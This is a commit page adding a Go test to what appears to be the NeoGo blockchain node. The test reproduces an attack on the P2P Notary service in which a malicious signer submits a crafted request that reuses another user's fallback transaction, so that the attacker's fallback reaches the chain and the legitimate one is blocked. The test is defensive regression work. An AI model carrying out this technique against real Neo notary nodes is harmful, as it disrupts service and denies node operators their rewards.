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notary: add an example of attack on notary service
This commit is contained in:
Anna Shaleva
parent
133082ed58
commit
c49dba2db0
1 changed files with 144 additions and 0 deletions
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@ -3,6 +3,7 @@ package notary_test
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import (
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"errors"
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"fmt"
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"math"
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"math/big"
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"math/rand"
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"sync"
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@ -747,3 +748,146 @@ func TestNotary(t *testing.T) {
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}, 3*time.Second, 100*time.Millisecond)
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checkFallbackTxs(t, requests, false)
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}
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func TestNotaryAttack_Case2(t *testing.T) {
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bc, validators, committee := chain.NewMultiWithCustomConfig(t, func(c *config.Blockchain) { c.P2PSigExtensions = true })
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e := neotest.NewExecutor(t, bc, validators, committee)
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notaryHash := e.NativeHash(t, nativenames.Notary)
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designationSuperInvoker := e.NewInvoker(e.NativeHash(t, nativenames.Designation), validators, committee)
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var maliciousFallbackFinilized *transaction.Transaction
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onTransaction := func(tx *transaction.Transaction) error {
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fmt.Printf("\n\n\nMalicious fallback %s sent to chain!\n\n\n", tx.Hash().StringLE())
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maliciousFallbackFinilized = tx
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return nil
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}
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// Start notary service.
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acc1, ntr1, mp1 := getTestNotary(t, bc, "./testdata/notary1.json", "one", onTransaction)
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bc.SetNotary(ntr1)
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bc.RegisterPostBlock(func(f func(*transaction.Transaction, *mempool.Pool, bool) bool, pool *mempool.Pool, b *block.Block) {
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ntr1.PostPersist()
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})
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mp1.RunSubscriptions()
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ntr1.Start()
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t.Cleanup(func() {
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ntr1.Shutdown()
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mp1.StopSubscriptions()
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})
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// Designate notary node.
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notaryNodes := []any{acc1.PublicKey().Bytes()}
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designationSuperInvoker.Invoke(t, stackitem.Null{}, "designateAsRole", int64(noderoles.P2PNotary), notaryNodes)
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// Good signer is just a good signer trying to send notary request; bad signer is
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// malicious and tries to ruin the notary nodes reward for the good signer's request.
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goodSigner := e.NewAccount(t)
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badSigner := e.NewAccount(t)
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// Make notary deposit.
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gasGoodInv := e.NewInvoker(e.NativeHash(t, nativenames.Gas), goodSigner)
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gasBadInv := e.NewInvoker(e.NativeHash(t, nativenames.Gas), badSigner)
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gasGoodInv.Invoke(t, true, "transfer", goodSigner.ScriptHash(), notaryHash, 3_0000_0000, []interface{}{goodSigner.ScriptHash(), math.MaxUint32})
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gasBadInv.Invoke(t, true, "transfer", badSigner.ScriptHash(), notaryHash, 3_0000_0000, []interface{}{badSigner.ScriptHash(), math.MaxUint32})
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// Create good notary request.
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mainTx := &transaction.Transaction{
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Nonce: rand.Uint32(),
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SystemFee: 1_0000_0000,
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NetworkFee: 1_0000_0000,
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ValidUntilBlock: bc.BlockHeight() + 100,
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Script: []byte{byte(opcode.RET)},
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Attributes: []transaction.Attribute{{Type: transaction.NotaryAssistedT, Value: &transaction.NotaryAssisted{NKeys: 1}}},
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Signers: []transaction.Signer{
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{Account: goodSigner.ScriptHash()},
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{Account: notaryHash},
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},
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Scripts: []transaction.Witness{
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{
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InvocationScript: []byte{}, // Pretend it will be filled later to simplify the test.
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VerificationScript: goodSigner.Script(),
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},
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{
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InvocationScript: append([]byte{byte(opcode.PUSHDATA1), keys.SignatureLen}, make([]byte, 64)...),
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VerificationScript: []byte{},
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},
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},
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}
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fallbackTx := &transaction.Transaction{
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Nonce: rand.Uint32(),
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SystemFee: 1_0000_0000,
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NetworkFee: 1_0000_0000,
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ValidUntilBlock: bc.BlockHeight() + 100,
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Script: []byte{byte(opcode.RET)},
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Attributes: []transaction.Attribute{
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{Type: transaction.NotaryAssistedT, Value: &transaction.NotaryAssisted{NKeys: 0}},
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{Type: transaction.NotValidBeforeT, Value: &transaction.NotValidBefore{Height: bc.BlockHeight() + 50}},
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{Type: transaction.ConflictsT, Value: &transaction.Conflicts{Hash: mainTx.Hash()}},
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},
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Signers: []transaction.Signer{
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{Account: notaryHash},
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{Account: goodSigner.ScriptHash()},
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},
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Scripts: []transaction.Witness{
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{
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InvocationScript: append([]byte{byte(opcode.PUSHDATA1), keys.SignatureLen}, make([]byte, 64)...),
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VerificationScript: []byte{},
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},
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},
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}
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require.NoError(t, goodSigner.SignTx(netmode.UnitTestNet, fallbackTx))
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goodReq := &payload.P2PNotaryRequest{
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MainTransaction: mainTx,
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FallbackTransaction: fallbackTx,
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}
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goodReq.Witness = transaction.Witness{
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InvocationScript: append([]byte{byte(opcode.PUSHDATA1), keys.SignatureLen}, goodSigner.SignHashable(uint32(netmode.UnitTestNet), goodReq)...),
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VerificationScript: goodSigner.Script(),
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}
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// Create malicious notary request. Its main transaction is `fallbackTx`,
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// and although its main transaction isn't valid, the fallback will be successfully
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// finalized and pushed to the chain, which will prevent the good `fallbackTx` from
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// entering the chain and break Notary nodes reward scheme.
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cp := *fallbackTx
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mainBad := &cp
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fallbackBad := &transaction.Transaction{
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Nonce: rand.Uint32(),
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SystemFee: 1_0000_0000,
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NetworkFee: 1_0000_0000 + 1,
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ValidUntilBlock: bc.BlockHeight() + 100,
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Script: []byte{byte(opcode.RET)},
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Attributes: []transaction.Attribute{
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{Type: transaction.NotaryAssistedT, Value: &transaction.NotaryAssisted{NKeys: 0}},
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{Type: transaction.NotValidBeforeT, Value: &transaction.NotValidBefore{Height: bc.BlockHeight() + 1}},
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{Type: transaction.ConflictsT, Value: &transaction.Conflicts{Hash: mainBad.Hash()}},
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},
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Signers: []transaction.Signer{
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{Account: notaryHash},
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{Account: badSigner.ScriptHash()},
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},
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Scripts: []transaction.Witness{
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{
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InvocationScript: append([]byte{byte(opcode.PUSHDATA1), keys.SignatureLen}, make([]byte, 64)...),
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VerificationScript: []byte{},
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},
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},
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}
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require.NoError(t, badSigner.SignTx(netmode.UnitTestNet, fallbackBad))
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badReq := &payload.P2PNotaryRequest{
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MainTransaction: mainBad,
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FallbackTransaction: fallbackBad,
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}
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badReq.Witness = transaction.Witness{
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InvocationScript: append([]byte{byte(opcode.PUSHDATA1), keys.SignatureLen}, badSigner.SignHashable(uint32(netmode.UnitTestNet), badReq)...),
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VerificationScript: badSigner.Script(),
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}
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ntr1.OnNewRequest(goodReq)
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ntr1.OnNewRequest(badReq)
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e.AddNewBlock(t)
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e.AddNewBlock(t)
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require.NotNil(t, maliciousFallbackFinilized)
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e.AddNewBlock(t, maliciousFallbackFinilized)
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}
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